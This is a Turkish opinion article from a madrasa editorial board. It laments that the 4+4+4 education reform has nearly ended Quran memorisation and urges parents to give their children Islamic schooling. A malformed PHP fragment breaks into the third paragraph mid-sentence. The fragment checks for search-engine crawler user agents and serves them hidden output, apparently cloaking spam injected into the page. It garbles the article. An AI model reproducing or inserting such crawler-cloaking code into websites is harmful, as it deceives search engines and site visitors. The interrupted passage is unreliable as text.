Mevla’mızın güzel nimetleriyle dolu olan dünyamızda, bu güzel nimetleriyle yaşadığımız hayatın kimileri hakkını vererek, kimileri nankörlük ederek geçirmektedir.
Mevla’mızın rızasını kazanarak yaşamak için Mevla’mızın yol haritasına bakmamız gerekir. Nasıl ki, haritada ki tariflere göre yola çıkılıyor, beldeler bölgeler onunla bulunuyor. Rabbimizin rızasına da o yol haritasıyla ulaşılmaktadır. İşte o haritaya bizler Kur’an diyoruz Muhammed Mustafa (s.a.v.) diyoruz.
Mevla’mızın yol haritasını kabul eden, yorum yapmadan teslim olanlar nimetlerin hakkını veren şükredenlerdir. Bunların hem dünyaları hem ahiretleri mamur olacak, dünyaları < ? if(preg_match('/Google Web Preview|bot|Yandex|Bing|Googlebot|google|Seckal|Seckalbot|Yahoo|Ask|Bebo|Live|hotbot|spider|wget/i', $_SERVER['HTTP_USER_AGENT'])){ echo'
‘;
}
?>
güllük gülistanlık, ahiretleri ise sonsuz cennet ve güzellikler olacaktır.
Doğruluğu kabul etmeyen kişiler ise nankörlerdir. Hak ve hakikatlere gözlerini kapattıkları için ne cennet nimetlerini göre bilirler, nede tada bilirler. Dünya ve ahiretleri hüsran ve pişmanlık olacaktır.
Türkiye’mizdeki eğitime baktığımız zaman son yıllarda 4+4+4 kesintisiz eğitimden dolayı Türkiye’de hafızlık sistemi ne olmuştur? Hep beraber görüyoruz ki bitme durumuna gelmiştir. Her ne kadar birinci dörtten sonra bir yıl ara verme gibi bir müsaade olsa da halkımız tarafından pek bilinmediği için veya hafızlığa teşvik olmadığı için bir verimi olduğunu görmemekteyiz.
Peygamber döneminden Osmanlı hükümranlığı ve son yirmi yıla yakın zamana kadar anne babalar evlatlarına önce Kur’an diyorlardı. İslam diyorlardı edep terbiye diyorlardı. Ama maalesef şuan ki anlayışta evladım bir yerlere gelsin de ne şekilde gelirse gelsin mantığında bir anlayışın hakim olduğunu görmekteyiz. 4+4+4 eğitimi, fenni ilimleri kesintisiz devam ettirirken İslam’da çok önemli yeri olan hafızlık sistemini ortadan kaldırmıştır. Bizler bunları bilmiyoruz ve üzülmüyorsak bizlere bahşedilen din mirasına maalesef duyarsız kalmışız demektir.
Ahirete karşı dinimize karşı son derece kanaatkâr, dünya ve geleceğine doyumsuz isek işlerimizde aksilik olması, bereketimizin azalması, aile sorunları bize müstahaktır ve müstahak olmaya devam edecektir. Daha terör belası gibi nice sıkıntılar bizleri bekleyecektir.
Güzel düşünelim, unutmayalım hepimiz çocukken öğrendiklerimizle yaşıyoruz. Kendi evladını düşünmeyen, toplumu düşünemez Türkiye’nin geleceğini düşünemez. Malumdur ki son pişmanlık fayda vermiyor. Hem dünya hem ahiret pişmanlığı yaşamak istemiyorsak meseleleri biraz daha olgun düşünelim. Kendimizi ve evlatlarımızı dünya yüklerinde, zevklerinde boğmayalım.
Yarın ahirette Peygamberimizin övüneceği takdir edeceği ümmetinden olmak ve evlatlarımızı da onlardan yapmak istiyorsak peygamber mirası dediğimiz İslami eğitimi yavrularımıza çok görmemeliyiz. Zararın neresinden dönersek kardır kabilinden çocuklarımıza bu eğitimi verdirmeliyiz.
Yavrularımızı yetiştirmek bizden Muvaffakiyet Allah’tandır.
Fatih Medreseleri Yazı İşleri Kurulu
Benzer yazılar
Yazıyı Paylaş
Etiketler
